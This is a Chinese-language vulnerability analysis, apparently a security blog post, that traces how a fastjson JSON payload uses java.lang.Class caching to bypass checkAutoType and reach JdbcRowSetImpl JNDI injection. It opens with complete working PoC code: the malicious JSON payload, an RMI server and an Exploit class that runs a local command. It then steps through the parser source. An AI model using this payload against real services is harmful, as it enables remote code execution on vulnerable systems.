前言
写的有点多，可能对师傅们来说比较啰嗦，不过这么写完感觉自己也就明白了
poc
newPoc.javaimport com.alibaba.fastjson.JSON; public class newPoc { public static void main(String[] argv) { String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}," + ""xxxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" + ""rmi://localhost:1099/Exploit","autoCommit":true}}}"; JSON.parse(payload); } }
Exploit.javaimport javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); } }
rmiServer.javaimport com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class rmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit", "Exploit", "http://localhost:1099/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); System.out.println("service bind at 1099"); registry.bind("Exploit", wrapper); } }
{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "xxxx":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true } }
漏洞触发流程
在JSON.parse处下断点，单步进入到JSON这个类中，开始了fastjson库的解析过程
经过几个parse函数(java中，一个函数由函数名和函数参数唯一确定，也就是java中的函数签名)，虽然同为parse这个函数，但是函数参数不同，故进入到不同的函数中public static Object parse(String text) { return parse(text, DEFAULT_PARSER_FEATURE); } public static Object parse(String text, int features) { return parse(text, ParserConfig.getGlobalInstance(), features); } public static Object parse(String text, ParserConfig config, int features) { if (text == null) { return null; } else { DefaultJSONParser parser = new DefaultJSONParser(text, config, features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; } }
在最后一个parse中，真正进入到json解析的流程
0x01 总览
我们先不急着跟下去，因为java的调用链一般来说比较深，所以我们先看一下整个大体的流程是什么样，来自己判断一下这些函数都是用来干什么的，先宏观的看，再跟进去一步步看它在做什么
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
初始化一个默认的json解析器
Object value = parser.parse();
调用这个json解析器的parse函数，来进行json解析
parser.handleResovleTask(value);
这个函数暂时不知道干什么，先放着
parser.close();
将解析器关闭
return value;
返回json解析的结果
可以看出来，我们真正需要关注的，其实就是DefaultJSONParser的生成和DefaultJSONParser对我们输入json数据的处理
0x02 初始化json解析器（DefaultJSONParser parser = new DefaultJSONParser(text, config, features);）

1. 在DefaultJSONParser这个类中有一部分静态代码块，在实例化它的时候，最先调用静态代码块

static { Class<?>[] classes = new Class[]{Boolean.TYPE, Byte.TYPE, Short.TYPE, Integer.TYPE, Long.TYPE, Float.TYPE, Double.TYPE, Boolean.class, Byte.class, Short.class, Integer.class, Long.class, Float.class, Double.class, BigInteger.class, BigDecimal.class, String.class}; Class[] var1 = classes; int var2 = classes.length; for(int var3 = 0; var3 < var2; ++var3) { Class<?> clazz = var1[var3]; primitiveClasses.add(clazz); } }
这里就是把很多原生类都加入到了primitiveClasses这个集合中，供后面的使用

1. 接下来调用DefaultJSONParser的构造函数

public DefaultJSONParser(String input, ParserConfig config, int features) { this(input, new JSONScanner(input, features), config); }
这里初始化了JSONScaner，对我们的json数据进行一些注册public JSONScanner(String input, int features) { super(features); this.text = input; this.len = this.text.length(); this.bp = -1; this.next(); if (this.ch == 'ufeff') { this.next(); } }

1. 进入DefaultJSONParser初始化

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) { this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT; this.contextArrayIndex = 0; this.resolveStatus = 0; this.extraTypeProviders = null; this.extraProcessors = null; this.fieldTypeResolver = null; this.autoTypeAccept = null; this.lexer = lexer; this.input = input; this.config = config; this.symbolTable = config.symbolTable; int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); } }
这里对一些成员变量进行注册，并且我们的json数据开头是’{‘，所以token被设置为12
至此，对DefaultJSONParser的初始化就结束了，可以看到在这一个函数中，做的主要还是对整个解析上下文的初始化，将json数据和之后需要用到的类进行注册，以便后面的使用
0x03 开始json解析流程（Object value = parser.parse();）
进入到DefaultJSONParser的parse方法，fastjson的真正json解析就开始了public Object parse() { return this.parse((Object)null); } public Object parse(Object fieldName){ JSONLexer lexer = this.lexer; switch(lexer.token()) { ...... case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName); ...... }
代码比较长，在上面DefaultJSONParser的初始化中，将我们的token值设置为了12，所以进入到case 12这个条件中

1. 先构建了一个JSONObject对象
2. 进入到parseObject中
3. 因为现在的token为12，所以一路if条件跳过，最后到else块中

ParseContext context = this.context; try { Map map = object instanceof JSONObject ? ((JSONObject)object).getInnerMap() : object; boolean setContextFlag = false; while(true) { lexer.skipWhitespace(); char ch = lexer.getCurrent(); if (lexer.isEnabled(Feature.AllowArbitraryCommas)) { while(ch == ',') { lexer.next(); lexer.skipWhitespace(); ch = lexer.getCurrent(); } } ...... } }
这是一个非常庞大的while循环，在这里面进行对json字符串的语法分析，以及各种判断
0x04 巨大的while
json的解析过程是一个字符一个字符判断的，和js的判断机制有些类似

1. 在while中先将键名解析出来
2. 下一个值的开头是’{‘
3. 因为开头是’{‘，意味着这是嵌套的一个json
4. 之后到537行，再次调用parseObject，将键名传入参数，来获取对应键的值

可以将parseObject想像成一个魔法盒子，它会将你传入的比如{‘xxx’:’xxx’}这样的json解析，将它根据键值存到一个map里面，那么如果你传入的是{‘xxx’ : {‘xxx’:’xxx’}}这样形式的话，因为值也是一个键值对的形式，所以又会再次调用parseObject，那么最后的结果也就变成了一个map中嵌套一个map的结构

1. 接下来，嵌套的这个json中就有意思了

java中的json不像php中的json那么单纯，java中的json最重要的是它是java实现反序列化和序列化的很重要的手段，所以在fastjson中，定义了一些键，如果这些键出现的时候，那么这个键对应的值就不会被单纯的认为是字符串
我们抽出来这个值：
"name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }
这个键名是@type，当我们继续调试到292行的时候

这里判断了两个条件：
<1> key == JSON.DEFAULT_TYPE_KEY 判断了是否为预设的特殊键名
<2> !lexer.isEnabled(Feature.DisableSpecialKeyDetect) 是否关闭了特殊键名的探测（默认开启）

正是我们传入的@type，所以这个json就不被认为是一个普通的字符串，而会是一个对象，这里也就进入了反序列化的地方

这里获取到我们的@type的值为’java.lang.Class’

这里就是在第一次fastjson反序列化出现的之后补丁所添加的，它限制了反序列化的类的白名单和黑名单，这次包括之前的fastjson反序列化漏洞都是因为checkAutoType的问题导致的
0x05 checkAutoType
在这里，检测了我们反序列化的类是否在黑名单里面，也就是下面的这一段：

这里，阿里玩了一个小技巧，为了防止攻击者拿到禁止类的黑白名单，阿里并没有直接拿类名称来比较，而是拿类的一段字符串的hash来比较，这样就不那么容易知道阿里的黑白名单具体是什么（当然已经有大佬搞出来了）
我们可以看到如果我们传入的类符合this.denyHashCodes定义的hash的话，就不会反序列化这个类了，当然com.sun.rowset.JdbcRowSetImpl这个类必定是被禁止了的
之后再进行白名单的校验，确保@type的这个类是完全没问题的，所以这个地方，我们的恶意类不能进入到这一段代码中，进去就是gg
继续回到我们之前的流程，因为在IdentityHashMap中有java.lang.Class，也就是这个类被认为是安全的，所以在clazz = this.deserializers.findClass(typeName);这个地方就直接获得了java.lang.Class对象

而之后的if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } }
就直接返回了java.lang.Class对象
0x06 回到DefaultJSONParser
在checkAutoType检测完成以后，我们的clazz变量就成了java.lang.Class对象
调用ObjectDeserializer deserializer = this.config.getDeserializer(clazz)

ObjectDeserializer derializer = (ObjectDeserializer)this.deserializers.get(type);
在这个地方我们获得了对应的deserilizer：MiscCodec对象
之后调用了MiscCodec对象的deserilize方法
进入到这个方法中：

之后调用parser.parse()
走到了这里

这里通过String stringLiteral = lexer.stringVal();获取到了val这个键名对应的值：com.sun.rowset.JdbcRowSetImpl，最后将这个字符串返回
后面对我们的java.lang.Class进行一系列的判断，进入到

继续跟进，一路进入到loadClass这个函数
简单来说，这个函数判断预先定义的类的map里面有没有传进来的这个className，如果没有的话，就把它加进去

而这个map正是checkAutoType里面的map，这个地方就是漏洞的触发点，通过将com.sun.rowset.JdbcRowSetImpl这个类加载到map中，从而绕过了checkAutoType的验证，进而造成了反序列化
0x07 新一轮的json解析
前面说过，那个大while里面是解析json用的，在第一个键值对解析完了以后，继续开始解析第二个键值对，也就是：
"xxxx":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true }
和前面的流程基本一摸一样，检测到@type字段，获取到@type对应的值，也就是com.sun.rowset.JdbcRowSetImpl，进入到checkAutoType的检验，我们直接跟到checkAutoType的检验中
前面都没什么好说的，最重要的是这一步：

我们跟进，来到了这个函数public static Class<?> getClassFromMapping(String className) { return (Class)mappings.get(className); }
而maps里面的值为：
"java.text.SimpleDateFormat" -> {Class@691} "class java.text.SimpleDateFormat" "java.util.concurrent.ConcurrentHashMap" -> {Class@18} "class java.util.concurrent.ConcurrentHashMap" "java.lang.InternalError" -> {Class@348} "class java.lang.InternalError" "java.lang.StackOverflowError" -> {Class@7} "class java.lang.StackOverflowError" "java.sql.Date" -> {Class@696} "class java.sql.Date" "java.util.concurrent.atomic.AtomicInteger" -> {Class@40} "class java.util.concurrent.atomic.AtomicInteger" "java.lang.Exception" -> {Class@227} "class java.lang.Exception" "java.lang.IllegalStateException" -> {Class@700} "class java.lang.IllegalStateException" "java.util.Calendar" -> {Class@702} "class java.util.Calendar" "java.lang.InterruptedException" -> {Class@704} "class java.lang.InterruptedException" "java.util.BitSet" -> {Class@192} "class java.util.BitSet" "java.util.Hashtable" -> {Class@236} "class java.util.Hashtable" "[C" -> {Class@341} "class [C" "java.util.TreeMap" -> {Class@709} "class java.util.TreeMap" "java.util.LinkedHashMap" -> {Class@111} "class java.util.LinkedHashMap" "java.sql.Timestamp" -> {Class@712} "class java.sql.Timestamp" "java.lang.IllegalArgumentException" -> {Class@75} "class java.lang.IllegalArgumentException" "java.util.concurrent.TimeUnit" -> {Class@715} "class java.util.concurrent.TimeUnit" "java.lang.InstantiationError" -> {Class@717} "class java.lang.InstantiationError" "java.lang.IndexOutOfBoundsException" -> {Class@719} "class java.lang.IndexOutOfBoundsException" "java.lang.VerifyError" -> {Class@721} "class java.lang.VerifyError" "long" -> {Class@723} "long" "java.lang.IllegalThreadStateException" -> {Class@725} "class java.lang.IllegalThreadStateException" "java.util.WeakHashMap" -> {Class@279} "class java.util.WeakHashMap" "java.lang.InstantiationException" -> {Class@728} "class java.lang.InstantiationException" "java.lang.NoSuchMethodError" -> {Class@180} "class java.lang.NoSuchMethodError" "[short" -> {Class@343} "class [S" "java.lang.StackTraceElement" -> {Class@732} "class java.lang.StackTraceElement" "[byte" -> {Class@340} "class [B" "short" -> {Class@735} "short" "java.lang.AutoCloseable" -> {Class@263} "interface java.lang.AutoCloseable" "[D" -> {Class@346} "class [D" "char" -> {Class@739} "char" "java.lang.LinkageError" -> {Class@299} "class java.lang.LinkageError" "java.lang.IllegalAccessError" -> {Class@742} "class java.lang.IllegalAccessError" "[double" -> {Class@346} "class [D" "java.sql.Time" -> {Class@745} "class java.sql.Time" "java.lang.NegativeArraySizeException" -> {Class@747} "class java.lang.NegativeArraySizeException" "java.util.Locale" -> {Class@294} "class java.util.Locale" "java.lang.NullPointerException" -> {Class@186} "class java.lang.NullPointerException" "[float" -> {Class@345} "class [F" "[int" -> {Class@342} "class [I" "java.util.HashMap" -> {Class@144} "class java.util.HashMap" "java.lang.OutOfMemoryError" -> {Class@260} "class java.lang.OutOfMemoryError" "java.util.IdentityHashMap" -> {Class@755} "class java.util.IdentityHashMap" "[long" -> {Class@344} "class [J" "java.lang.NoClassDefFoundError" -> {Class@758} "class java.lang.NoClassDefFoundError" "double" -> {Class@760} "double" "java.lang.StringIndexOutOfBoundsException" -> {Class@762} "class java.lang.StringIndexOutOfBoundsException" "[Z" -> {Class@339} "class [Z" "java.lang.IllegalMonitorStateException" -> {Class@188} "class java.lang.IllegalMonitorStateException" "[boolean" -> {Class@339} "class [Z" "java.util.Collections$EmptyMap" -> {Class@277} "class java.util.Collections$EmptyMap" "java.util.concurrent.atomic.AtomicLong" -> {Class@316} "class java.util.concurrent.atomic.AtomicLong" "java.util.HashSet" -> {Class@177} "class java.util.HashSet" "java.util.concurrent.ConcurrentSkipListMap" -> {Class@770} "class java.util.concurrent.ConcurrentSkipListMap" "[F" -> {Class@345} "class [F" "java.lang.NumberFormatException" -> {Class@773} "class java.lang.NumberFormatException" "[char" -> {Class@341} "class [C" "java.util.concurrent.ConcurrentSkipListSet" -> {Class@776} "class java.util.concurrent.ConcurrentSkipListSet" "int" -> {Class@778} "int" "java.lang.Cloneable" -> {Class@254} "interface java.lang.Cloneable" "com.sun.rowset.JdbcRowSetImpl" -> {Class@781} "class com.sun.rowset.JdbcRowSetImpl" "java.awt.Point" -> {Class@783} "class java.awt.Point" "[J" -> {Class@344} "class [J" "java.awt.Font" -> {Class@786} "class java.awt.Font" "java.lang.NoSuchFieldException" -> {Class@788} "class java.lang.NoSuchFieldException" "java.util.TreeSet" -> {Class@790} "class java.util.TreeSet" "java.lang.NoSuchMethodException" -> {Class@792} "class java.lang.NoSuchMethodException" "[I" -> {Class@342} "class [I" "java.awt.Rectangle" -> {Class@795} "class java.awt.Rectangle" "java.util.UUID" -> {Class@797} "class java.util.UUID" "java.lang.SecurityException" -> {Class@799} "class java.lang.SecurityException" "java.lang.Object" -> {Class@256} "class java.lang.Object" "java.util.Date" -> {Class@802} "class java.util.Date" "java.lang.RuntimeException" -> {Class@49} "class java.lang.RuntimeException" "java.awt.Color" -> {Class@805} "class java.awt.Color" "com.alibaba.fastjson.JSONObject" -> {Class@555} "class com.alibaba.fastjson.JSONObject" "java.lang.NoSuchFieldError" -> {Class@808} "class java.lang.NoSuchFieldError" "java.lang.IllegalAccessException" -> {Class@810} "class java.lang.IllegalAccessException" "[B" -> {Class@340} "class [B" "java.util.LinkedHashSet" -> {Class@813} "class java.util.LinkedHashSet" "byte" -> {Class@815} "byte" "java.lang.TypeNotPresentException" -> {Class@817} "class java.lang.TypeNotPresentException" "[S" -> {Class@343} "class [S" "boolean" -> {Class@820} "boolean" "float" -> {Class@822} "float"
而这个map，在第一部分的json解析的时候，我们成功加入了com.sun.rowset.JdbcRowSetImpl（见63行），所以这里直接可以返回JdbcRowSetImpl这个类if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } }
因为在上面获取的map中就返回了clazz的值，所以这里就直接返回了com.sun.rowset.JdbcRowSetImpl类，也就没有了下面的黑白名单检测，也就成功绕过了checkAutoType
0x08 JdbcRowSetImpl反序列化

最后在这个地方获取了deserializer，并且通过这个deserializer反序列化了JdbcRowSetImpl类，最后成功调用lookup进行JNDI注入
因为这个地方牵扯到java asm直接生成字节码，实在是有点看不懂，就只能跳过了，之后再学习吧，tcl
最后给一张经过asm之后的调用链吧connect:643, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:606, Method (java.lang.reflect) setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:759, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:1283, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser) parse:152, JSON (com.alibaba.fastjson) parse:162, JSON (com.alibaba.fastjson) parse:131, JSON (com.alibaba.fastjson) main:10, newPoc (com.xiang.fastjson.poc)